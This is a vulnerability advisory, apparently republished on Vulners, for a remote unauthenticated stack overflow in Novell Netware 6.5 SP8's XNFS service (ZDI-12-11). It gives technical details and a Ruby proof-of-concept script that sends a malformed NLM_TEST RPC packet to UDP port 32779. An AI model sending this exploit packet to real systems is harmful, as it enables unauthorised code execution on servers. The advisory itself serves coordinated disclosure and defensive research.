Lucene search
K

Novell Netware XNFS caller_name xdrDecodeString Code Execution

🗓️ 11 Jan 2012 00:00:00Reported by Francis ProvencherType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 27 Views

Novell Netware XNFS caller_name xdrDecodeString Code Execution Vulnerability, Allows Remote Attackers to Execute Arbitrary Code, Novell Netware 6.5 SP8, RPC Requests Through UDP Port 32779

Code
`#####################################################################################  
  
Application: Novell Netware XNFS caller_name xdrDecodeString Remote Code Execution Vulnerability  
  
Platforms: Novell Netware 6.5 SP8  
  
Exploitation: Remote code execution  
  
CVE Number:   
  
Novell TID: 5117430  
  
ZDI: ZDI-12-11  
  
{PRL}: 2012-03  
  
Author: Francis Provencher (Protek Research Lab's)  
  
Website: http://www.protekresearchlab.com/  
  
Twitter: @ProtekResearch  
  
  
#####################################################################################  
  
1) Introduction  
2) Timeline  
3) Technical details  
4) PoC  
  
  
#####################################################################################  
  
===============  
1) Introduction  
===============  
  
Novell, Inc. is a global software and services company based in Waltham, Massachusetts.  
  
The company specializes in enterprise operating systems, such as SUSE Linux Enterprise  
  
and Novell NetWare; identity, security, and systems management solutions; and  
  
collaboration solutions, such as Novell Groupwise and Novell Pulse.  
  
Novell was instrumental in making the Utah Valley a focus for technology and software  
  
development. Novell technology contributed to the emergence of local area networks,  
  
which displaced the dominant mainframe computing model and changed computing worldwide.  
  
Today, a primary focus of the company is on developing open source software for  
  
enterprise clients.  
  
(http://en.wikipedia.org/wiki/Novell)  
  
#####################################################################################  
  
============================  
2) Timeline  
============================  
  
2011-05-05 - Vulnerability reported to vendor  
2012-01-10 - Coordinated public release of advisory  
  
#####################################################################################  
  
============================  
3) Technical details  
============================  
  
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Novell Netware.  
  
Authentication is not required to exploit this vulnerability. The flaw exists within the xnfs.nlm component which  
  
is used when handling NFS RPC requests. This process listens on UDP port 32779. When decoding the xdr  
  
encoded caller_name from an NLM_TEST procedure request the process uses the user supplied length as  
  
the bounds for its copy to a stack buffer. A remote attacker can exploit this vulnerability to execute arbitrary  
  
code under the context of the system.  
  
  
#####################################################################################  
  
===========  
4) The Code  
===========  
  
#!/usr/bin/ruby  
  
require 'socket'  
  
xnfs_server = (ARGV[0])  
target_port = (ARGV[1] || 32779)  
  
#RPC/Portmap packet  
beepbeep=  
"\x1c\xd1\xef\xab" + # XID  
"\x00\x00\x00\x00" + # Message Type: Call (0)  
"\x00\x00\x00\x02" + # RPC Version: 2  
"\x00\x01\x86\xb5" + # Program: 100021  
"\x00\x00\x00\x01" + # Program Version: 1  
"\x00\x00\x00\x01" + # Procedure: TEST  
  
"\x00\x00\x00\x00\x00\x00\x00\x00" +  
  
"\x00\x00\x00\x00\x00\x00\x00\x00" + # Verifier NULL  
  
"\x00\x00\x00\x02\x00\x00\x00\x02\x07\x40\x38\xb0\x41\x41\x41\x41"  
  
  
  
  
puts "[+]Sending UDP Packet...\n"  
puts "[+] beep beep\n"  
puts "[+]No, it's not the road runner\n"  
  
  
if (!(xnfs_server && target_port))  
puts "Usage: PRL-2012-03.rb host port (default port: 32779)\n"  
exit  
else  
  
sock = UDPSocket.open  
sock.connect(xnfs_server, target_port.to_i)  
sock.send(beepbeep, 0)  
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation